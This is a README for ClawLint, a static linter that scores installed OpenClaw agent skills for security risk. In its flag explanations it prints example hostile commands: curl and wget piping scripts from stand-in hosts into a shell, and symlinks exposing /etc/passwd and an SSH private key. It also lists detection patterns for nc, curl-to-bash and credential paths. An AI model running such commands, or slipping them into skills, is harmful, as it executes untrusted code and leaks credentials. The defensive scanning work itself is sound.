claw-lint

# ClawLint **Security linter for OpenClaw skills** Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (`~/.openclaw/workspace/skills`) and system (`~/.openclaw/skills`) directories. With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run. # Summary ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines. --- ## What It Does - **Risk scoring** — assigns a numeric risk score (0-100) based on detected patterns - **Audit flags** — identifies suspicious behaviors (remote execution, secret access, etc.) - **Inventory mode** — optional SHA256 hashing of all files for change detection - **JSON output** — machine-readable results (requires Python 3) - **No execution** — static analysis only, safe to run on untrusted skills --- ## Quick Start ### Scan all skills (summary view) ```bash {baseDir}/bin/claw-lint.sh ``` ### Scan one specific skill ```bash {baseDir}/bin/claw-lint.sh --skill <skill-name> ``` Example: `{baseDir}/bin/claw-lint.sh --skill hashnode-publisher` ### Full inventory with SHA256 hashes ```bash {baseDir}/bin/claw-lint.sh --full --skill <skill-name> ``` ### JSON output (requires Python 3) ```bash {baseDir}/bin/claw-lint.sh --format json ``` --- ## Options | Flag | Description | |------|-------------| | `--skill <name>` | Scan only the specified skill | | `--full` | Include SHA256 inventory of all files | | `--format json` | Output as JSON (needs python3) | | `--min-score <N>` | Show only skills with risk score ≥ N | | `--strict` | Prioritize high-severity patterns | | `--max-bytes <N>` | Skip files larger than N bytes (default: 2MB) | --- ## Understanding the Output ### Risk Score - **0-30**: Low risk (common patterns, minimal concerns) - **31-60**: Medium risk (network access, file operations) - **61-100**: High risk (remote execution, credential access, system tampering) ### Common Flags - `pipes_remote_to_shell` — downloads and executes remote code - `downloads_remote_content` — fetches external files - `has_executables` — contains binary files - `uses_ssh_or_scp` — SSH/SCP operations - `contains_symlinks` — symbolic links present --- ## Example Output ```text SCORE SKILL FILES SIZE FLAGS ----- ----- ----- ---- ----- 57 hashnode-publisher 2 1.1KB downloads_remote_content,pipes_remote_to_shell 45 ec2-health-monitor 2 1.9KB pipes_remote_to_shell ``` --- ## Risk Scoring Details ClawLint assigns risk scores from **0 (safe) to 100 (critical)** based on pattern detection: | Score Range | Classification | Description | |-------------|---------------|-------------| | 0-20 | Low Risk | Standard file operations, no suspicious patterns | | 21-50 | Medium Risk | Network calls or external dependencies detected | | 51-80 | High Risk | Multiple suspicious patterns or obfuscation detected | | 81-100 | Critical | Remote execution, secret access, or privilege escalation | ### Scoring Factors - **+25 points**: Remote execution patterns (curl \| bash, wget -O-, nc) - **+30 points**: Secret/credential access (~/.openclaw/credentials, ~/.ssh/) - **+20 points**: Privilege escalation (sudo, setuid, chmod +s) - **+15 points**: Code obfuscation (base64 decode, eval, exec in suspicious contexts) - **+10 points**: External network calls (curl, wget, http requests) - **+10 points**: File system operations outside skill directory - **+5 points**: Use of /tmp or world-writable directories --- ## Audit Flags Explained ### pipes_remote_to_shell Downloads and executes external code without verification. **Examples:** ```bash curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh ``` **Risk:** Critical. Remote code execution vector for malware. ### downloads_remote_content Fetches external files or data from the internet. **Examples:** ```bash curl -O https://example.com/file.tar.gz wget https://cdn.example.com/data.json ``` **Risk:** Medium-High. Potential supply chain attack or data exfiltration. ### has_executables Contains compiled binary files (not shell scripts). **Examples:** - ELF binaries - Compiled programs **Risk:** Medium. Harder to audit, may contain hidden functionality. ### uses_ssh_or_scp Performs SSH/SCP operations. **Examples:** ```bash ssh user@remote.host "command" scp file.txt user@remote:/path/ ``` **Risk:** Medium. Potential for unauthorized remote access or data transfer. ### contains_symlinks Includes symbolic links that may point outside skill directory. **Examples:** ```bash ln -s /etc/passwd exposed_file ln -s ~/.ssh/id_rsa key_link ``` **Risk:** Low-Medium. May expose sensitive files or create confusion. --- ## Requirements - Bash 4.0+ - Standard Unix tools: `find`, `grep`, `awk`, `sha256sum`, `stat` - Python 3 (optional, for JSON output only) Works on Ubuntu/Debian without sudo. Designed for EC2 and similar environments. --- ## Why Use This? - Audit skills before installation - Detect backdoors or malicious patterns in community skills - Track changes to installed skills with SHA256 inventory - Enforce security policies in automated pipelines --- ## Output Formats ### Terminal Output (Default) Human-readable table format with color-coded risk scores (when terminal supports colors). ### JSON Output (--format json) Machine-readable structure for integration with CI/CD pipelines: ```json { "scan_date": "2026-02-13T14:50:00Z", "skills_scanned": 12, "high_risk_count": 2, "results": [ { "skill_name": "hashnode-publisher", "risk_score": 57, "file_count": 2, "total_size": "1.1KB", "flags": ["downloads_remote_content", "pipes_remote_to_shell"], "files": [ { "path": "bin/publish.sh", "sha256": "a1b2c3d4...", "size": 896 } ] } ] } ``` --- ## Best Practices ### Regular Audits Run ClawLint after installing or updating skills: ```bash {baseDir}/bin/claw-lint.sh --min-score 50 ``` ### Baseline Inventory Create a security baseline for production environments: ```bash {baseDir}/bin/claw-lint.sh --full --format json > baseline.json ``` Re-run periodically and diff against baseline to detect tampering. ### CI/CD Integration Add to your deployment pipeline: ```bash # Fail build if any skill scores above 60 {baseDir}/bin/claw-lint.sh --format json | python3 -c " import json, sys data = json.load(sys.stdin) high_risk = [s for s in data['results'] if s['risk_score'] > 60] if high_risk: print(f'❌ {len(high_risk)} high-risk skills detected') sys.exit(1) " ``` ### Whitelist Trusted Skills For known-safe skills with legitimate flags, document exceptions: ```bash # Example: hashnode-publisher needs network access {baseDir}/bin/claw-lint.sh --skill hashnode-publisher # Expected score: 45-60 (downloads_remote_content is legitimate) ``` --- ## Limitations - **Static analysis only** — cannot detect runtime behavior or dynamically generated code - **Pattern-based** — may have false positives for legitimate use cases - **No sandbox** — does not execute or test skills - **Local files only** — scans installed skills, not ClawHub packages before install For comprehensive security, combine ClawLint with: - Manual code review for critical skills - VirusTotal scanning for executables - Runtime monitoring and sandboxing - Regular security updates --- ## Contributing Report false positives or suggest new detection patterns at the OpenClaw security repository. --- ## License MIT License - Free to use, modify, and distribute.